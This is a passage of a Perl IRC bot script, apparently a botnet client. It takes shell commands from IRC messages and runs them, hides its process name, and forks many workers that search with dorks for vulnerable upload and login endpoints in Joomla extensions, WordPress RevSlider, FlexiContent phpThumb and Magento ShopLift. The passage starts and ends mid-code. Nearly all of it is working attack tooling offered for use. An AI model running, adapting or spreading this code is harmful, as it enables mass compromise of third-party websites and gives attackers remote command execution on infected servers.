gSG,BingSK,BingZA,BingLK,BingTW,BingTR,BingVE,BingVN,BingMUSEUM,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,Yahoo2,KvaSiR,QuinT,Pagina,Clix,ask2,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,GooGLeCZ,GooGLeEU,GooGLeHU,GooGLeID,GooGLePH,GooGLeSI,GooGLeCAT,GooGLeBO,GooGLeBA,GooGLeCR,GooGLeHR,GooGLeEC,GooGLeFI,GooGLeHN,GooGLeHK,GooGLeIS,GooGLeKZ,GooGLeKE,GooGLeLV,GooGLeLT,GooGLeLU,GooGLeMW,GooGLeMT,GooGLeMA,GooGLeNP,GooGLePK,GooGLePR,GooGLeSA,GooGLeSN,GooGLeSG,GooGLeSK,GooGLeCH,GooGLeVE,GooGLeVN"; if ($path eq $mynick) { if ($msg =~ /^PING (.*)/) { sendraw("NOTICE $nick :PING $1"); } #if ($msg =~ /^VERSION/) { # sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey"); #} if ($msg =~ /^TIME/) { sendraw("NOTICE $nick :TIME ".$datetime.""); } if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); } if (&isAdmin($nick) && $msg eq "!killall") { &shell("$path","killall -9 perl"); } if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); } if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1); } if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); } if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) { sendraw("NICK ".$1); } if (&isAdmin($nick) && $msg =~ /^!pid/) { sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$"); } if (&isAdmin($nick) && $msg !~ /^!/) { &shell("$nick","$msg"); } } else { if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); } if (&isAdmin($nick) && $msg eq "!killall") { &shell("$path","killall -9 perl"); } if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); } if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1); } if (&isAdmin($nick) && $msg eq "!part") { sendraw("PART $path"); } if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); } if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) { &shell("$path","$1"); } if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) { &shell("$path","$1"); } if (&isAdmin($nick) && $msg =~ /^!addadmin\ (.+) /) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { $newadmin = $1; $admin = $newadmin; &msg("$path","12 Admin added to4 $admin "); }}} ##################################################################### HELP COMMAND if ($msg=~ /^!ops/) { my $helplogo = "14(7@2Help14)"; $inject = ""; if (-e ($update_file)){ $inject = "3Ready!!!"; } else { $inject = "4Lost!!!"; } &msg("$chan","$ninjalogo:6 $ninjacmd [dork]"); &msg("$chan","$hwdlogo 6 $hwcmd [dork]"); &msg("$chan","$jdlogo6 $jdcmd [dork]"); &msg("$chan","$magelogo 6 $shopliftcmd [dork]"); &msg("$chan","$privlogo 6 $flexcmd [dork]"); &msg("$chan","$jcelogo 6 $jcecmd [dork]"); #&msg("$chan","$helplogo 12Injector : $inject "); #&msg("$nick","$helplogo 12Check Bypass:6 !bypassrev"); } if ($msg=~ /^!respon/ || $msg=~ /^!im/) { $inject = ""; if (-e ($update_file)){ $inject = "3Ready!!!"; } else { $inject = "4Lost!!!"; } &msg("$path","12Injector : $inject "); } if (&isAdmin($nick) && $msg =~ /^!pid/) { ¬ice("$nick","6Fake Process/PID : $fakeproc - $$"); } if ($msg=~/^!bow/){ if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &msg("$path","Checking 10 Bypass, please wait..."); my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = "";my $bystats6 = "";my $bystats7 = "";my $bystats8 = "";my $bystats9 = "";my $bystats10 = ""; my $bystats11 = "";my $bystats12 = "";my $bystats13 = "";my $bystats14 = "";my $bystats15 = "";my $bystats16 = "";my $bystats17 = "";my $bystats18 = "";my $bystats19 = "";my $bystats20 = ""; my $cekby1 = &get_content($jack1."search"); if ($cekby1 =~ /search/i){ $bystats1 = "6Up!!!"; } else { $bystats1 = "4lost!!!"; } my $cekby2 = &get_content($jack2."search"); if ($cekby2 =~ /search/i){ $bystats2 = "6Up!!!"; } else { $bystats2 = "4lost!!!"; } my $cekby3 = &get_content($jack3."search"); if ($cekby3 =~ /search/i){ $bystats3 = "6Up!!!"; } else { $bystats3 = "4lost!!!"; } my $cekby4 = &get_content($jack4."search"); if ($cekby4 =~ /search/i){ $bystats4 = "6Up!!!"; } else { $bystats4 = "4lost!!!"; } my $cekby5 = &get_content($jack5."search"); if ($cekby5 =~ /search/i){ $bystats5 = "6Up!!!"; } else { $bystats5 = "4lost!!!"; } &msg("$path","12 Mesin1=$bystats1 12Mesin2=$bystats2 12Mesin3=$bystats3 12Mesin4=$bystats4 12Mesin5=$bystats5 ") }}} ##################################################################### Command SCAN if ($msg =~ /^$jdcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/index.php?option=com_jdownloads&Itemid=1&view=upload",$1); &msg("$chan","4,1Lapor3 $nick15,1 lagi scan Joomla di 4$path"); &msg("$chan","$jdlogo 15Search Engine Loaded.."); &se_start($path,$bug,$dork,$engine,3,$nick); } } } if (&isAdmin($nick) && $msg =~ /^$ninjacmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/ninja-applications/fufu/controllers/uploader/upload.php",$1); my $check = &read_dorks($dork); if ($check == 1) { &msg("$path","12$nick 4Re-scan detected"); exit; } else { &msg("$chan","$ninjalogo 3Search Engine Loading ..."); sendraw("MODE $path +m"); &write_dorks($dork); &se_start("$chan",$bug,$dork,$engine,5,$nick); } } } } if (&isAdmin($nick) && $msg =~ /^$hwcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1",$1); &msg("$chan","$hwdlogo 4Search Engine Loaded.."); &se_start("$chan",$bug,$dork,$engine,6,$nick); } } } if (&isAdmin($nick) && $msg =~ /^$flexcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/components/com_flexicontent/librairies/phpThumb/phpThumb.php",$1); &msg("$chan","$privlogo 4Search Engine Loaded.."); &se_start("$chan",$bug,$dork,$engine,4,$nick); } } } if (&isAdmin($nick) && $msg =~ /^$jcecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("",$1); #&msg("$chanxxx","11,1Â?10Â?15Lapor 4<9=4> 9$nick 15lagi scan jce di 4$path "); #&msg("$path","$jcelogo9Dork 4<9=4>15 $dork "); &msg("$chan","$jcelogo 4Search Engine Loaded.."); &se_start("$chan",$bug,$dork,$engine,29,$nick); } } } if (&isAdmin($nick) && $msg =~ /^$shopliftcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/customer/account/login",$1); #&msg("$chanxxx","11,1Â?10Â?15Lapor 4<9=4> 9$nick 15lagi scan Magento ShopLift di 4$path "); #&msg("$path","$magelogo9Dork 4<9=4>15 $dork "); &msg("$chan","$magelogo 4Search Engine Loaded.."); &se_start("$chan",$bug,$dork,$engine,18,$nick); } } } if ($msg =~ /^$revcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if (-e ($update_file)) { my $dork = ("wp-content/plugins/revslider/revslider_admin.php",$1); my $check = &read_dorks($dork); if ($check == 1) { &msg("$path","$searchlogo 4Rescan boss.. "); exit; } else { &msg("$path","$searchlogo1$nick start scanning.. "); &msg("$path","$searchlogo12Dork :4 $dork"); &msg("$path","$searchlogo12Please wait until finish.."); sendraw("MODE $path +m"); &write_dorks($dork); &se_start($path,$bug,$dork,$engine,1,$nick); } }else { &msg("$path","[ $nick ] $revlogo 4Injector is Lost!"); } } exit; } } ##################################################################### } } for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line = $line_temp.$line if ($line_temp); $line_temp = ''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } ########################################################################################## Search engine sub type() { my ($chan,$bug,$dork,$engine,$type,$nick) = @_; if ($type == 1){$type=&revslider($chan,$bug,$dork,$engine,$nick);} elsif ($type == 2){$type=&showbiz($chan,$bug,$dork,$engine,$nick);} elsif ($type == 3){$type=&jdown($chan,$bug,$dork,$engine,$nick);} elsif ($type == 4){$type=&flexi_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 5){$type=&ninja_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 6){$type=&hwd($chan,$bug,$dork,$engine,$nick);} elsif ($type == 29){$type=&jce_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 18){$type=&shoplift($chan,$bug,$dork,$engine,$nick);} } sub se_start() { my ($chan,$bug,$dork,$engine,$type,$nick) = @_; if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAE",$type,$nick); } exit; } } if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAR",$type,$nick); } exit; } } if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAT",$type,$nick); } exit; } } if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAU",$type,$nick); } exit; } } if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBR",$type,$nick); } exit; } } if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCA",$type,$nick); } exit; } } if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCL",$type,$nick); } exit; } } if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCN",$type,$nick); } exit; } } if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCoM",$type,$nick); } exit; } } if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCZ",$type,$nick); } exit; } } if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKDE",$type,$nick); } exit; } } if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKDK",$type,$nick); } exit; } } if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKES",$type,$nick); } exit; } } if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKEU",$type,$nick); } exit; } } if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKFR",$type,$nick); } exit; } } if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKHU",$type,$nick); } exit; } } if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKID",$type,$nick); } exit; } } if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIL",$type,$nick); } exit; } } if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIN",$type,$nick); } exit; } } if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKInfO",$type,$nick); } exit; } } if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIR",$type,$nick); } exit; } } if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIT",$type,$nick); } exit; } } if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKJP",$type,$nick); } exit; } } if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKKR",$type,$nick); } exit; } } if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMX",$type,$nick); } exit; } } if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMY",$type,$nick); } exit; } } if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNeT",$type,$nick); } exit; } } if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNL",$type,$nick); } exit; } } if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKOrG",$type,$nick); } exit; } } if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPH",$type,$nick); } exit; } } if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPL",$type,$nick); } exit; } } if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKRO",$type,$nick); } exit; } } if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKRU",$type,$nick); } exit; } } if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTH",$type,$nick); } exit; } } if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUA",$type,$nick); } exit; } } if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUK",$type,$nick); } exit; } } if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUS",$type,$nick); } exit; } } if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSI",$type,$nick); } exit; } } if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBE",$type,$nick); } exit; } } if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBIZ",$type,$nick); } exit; } } if ($engine =~ /jackxxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKXXX",$type,$nick); } exit; } } if ($engine =~ /jacktel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTEL",$type,$nick); } exit; } } if ($engine =~ /jacktv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTV",$type,$nick); } exit; } } if ($engine =~ /jackcc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCC",$type,$nick); } exit; } } if ($engine =~ /jackmil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMIL",$type,$nick); } exit; } } if ($engine =~ /jackasia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKASIA",$type,$nick); } exit; } } if ($engine =~ /jackname/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNAME",$type,$nick); } exit; } } if ($engine =~ /jackpro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPRO",$type,$nick); } exit; } } if ($engine =~ /jacktravel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTRAVEL",$type,$nick); } exit; } } if ($engine =~ /jackcat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCAT",$type,$nick); } exit; } } if ($engine =~ /jackjobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKJOBS",$type,$nick); } exit; } } if ($engine =~ /jackmobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMOBI",$type,$nick); } exit; } } if ($engine =~ /jackaero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAERO",$type,$nick); } exit; } } if ($engine =~ /jackcoop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCOOP",$type,$nick); } exit; } } if ($engine =~ /jackedu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKEDU",$type,$nick); } exit; } } if ($engine =~ /jackgov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKGOV",$type,$nick); } exit; } } if ($engine =~ /jackas/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAS",$type,$nick); } exit; } } if ($engine =~ /jackai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAI",$type,$nick); } exit; } } if ($engine =~ /jackag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAG",$type,$nick); } exit; } } if ($engine =~ /jackaz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAZ",$type,$nick); } exit; } } if ($engine =~ /jackbh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBH",$type,$nick); } exit; } } if ($engine =~ /jackbd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBD",$type,$nick); } exit; } } if ($engine =~ /jackbz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBZ",$type,$nick); } exit; } } if ($engine =~ /jackbo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBO",$type,$nick); } exit; } } if ($engine =~ /jackba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBA",$type,$nick); } exit; } } if ($engine =~ /jackbw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBW",$type,$nick); } exit; } } if ($engine =~ /jackvg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKVG",$type,$nick); } exit; } } if ($engine =~ /jackbg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBG",$type,$nick); } exit; } } if ($engine =~ /jackbi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBI",$type,$nick); } exit; } } if ($engine =~ /jackco/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCO",$type,$nick); } exit; } } if ($engine =~ /jackcd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCD",$type,$nick); } exit; } } if ($engine =~ /jackcg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCG",$type,$nick); } exit; } } if ($engine =~ /jackck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCK",$type,$nick); } exit; } } if ($engine =~ /jackcr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCR",$type,$nick); } exit; } } if ($engine =~ /jackhr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKHR",$type,$nick); } exit; } } if ($engine =~ /jackcu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCU",$type,$nick); } exit; } } if ($engine =~ /jackci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCI",$type,$nick); } exit; } } if ($engine =~ /jackdj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKDJ",$type,$nick); } exit; } } if ($engine =~ /jackdm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKDM",$type,$nick); } exit; } } if ($engine =~ /jackdo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKDO",$type,$nick); } exit; } } if ($engine =~ /jackec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKEC",$type,$nick); } exit; } } if ($engine =~ /jackeg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKEG",$type,$nick); } exit; } } if ($engine =~ /jacksv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSV",$type,$nick); } exit; } } if ($engine =~ /jackee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKEE",$type,$nick); } exit; } } if ($engine =~ /jacket/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKET",$type,$nick); } exit; } } if ($engine =~ /jackfj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKFJ",$type,$nick); } exit; } } if ($engine =~ /jackfi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKFI",$type,$nick); } exit; } } if ($engine =~ /jackgm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKGM",$type,$nick); } exit; } } if ($engine =~ /jackgi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKGI",$type,$nick); } exit; } } if ($engine =~ /jackgr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKGR",$type,$nick); } exit; } } if ($engine =~ /jackgl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKGL",$type,$nick); } exit; } } if ($engine =~ /jackgt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKGT",$type,$nick); } exit; } } if ($engine =~ /jackgg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKGG",$type,$nick); } exit; } } if ($engine =~ /jackht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKHT",$type,$nick); } exit; } } if ($engine =~ /jackhn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKHN",$type,$nick); } exit; } } if ($engine =~ /jackhk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKHK",$type,$nick); } exit; } } if ($engine =~ /jackis/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIS",$type,$nick); } exit; } } if ($engine =~ /jackie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIE",$type,$nick); } exit; } } if ($engine =~ /jackim/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIM",$type,$nick); } exit; } } if ($engine =~ /jackje/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKJE",$type,$nick); } exit; } } if ($engine =~ /jackjo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKJO",$type,$nick); } exit; } } if ($engine =~ /jackkz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKKZ",$type,$nick); } exit; } } if ($engine =~ /jackke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKKE",$type,$nick); } exit; } } if ($engine =~ /jackkg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKKG",$type,$nick); } exit; } } if ($engine =~ /jacklv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKLV",$type,$nick); } exit; } } if ($engine =~ /jackls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKLS",$type,$nick); } exit; } } if ($engine =~ /jackly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKLY",$type,$nick); } exit; } } if ($engine =~ /jackli/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKLI",$type,$nick); } exit; } } if ($engine =~ /jacklt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKLT",$type,$nick); } exit; } } if ($engine =~ /jacklu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKLU",$type,$nick); } exit; } } if ($engine =~ /jackmw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { 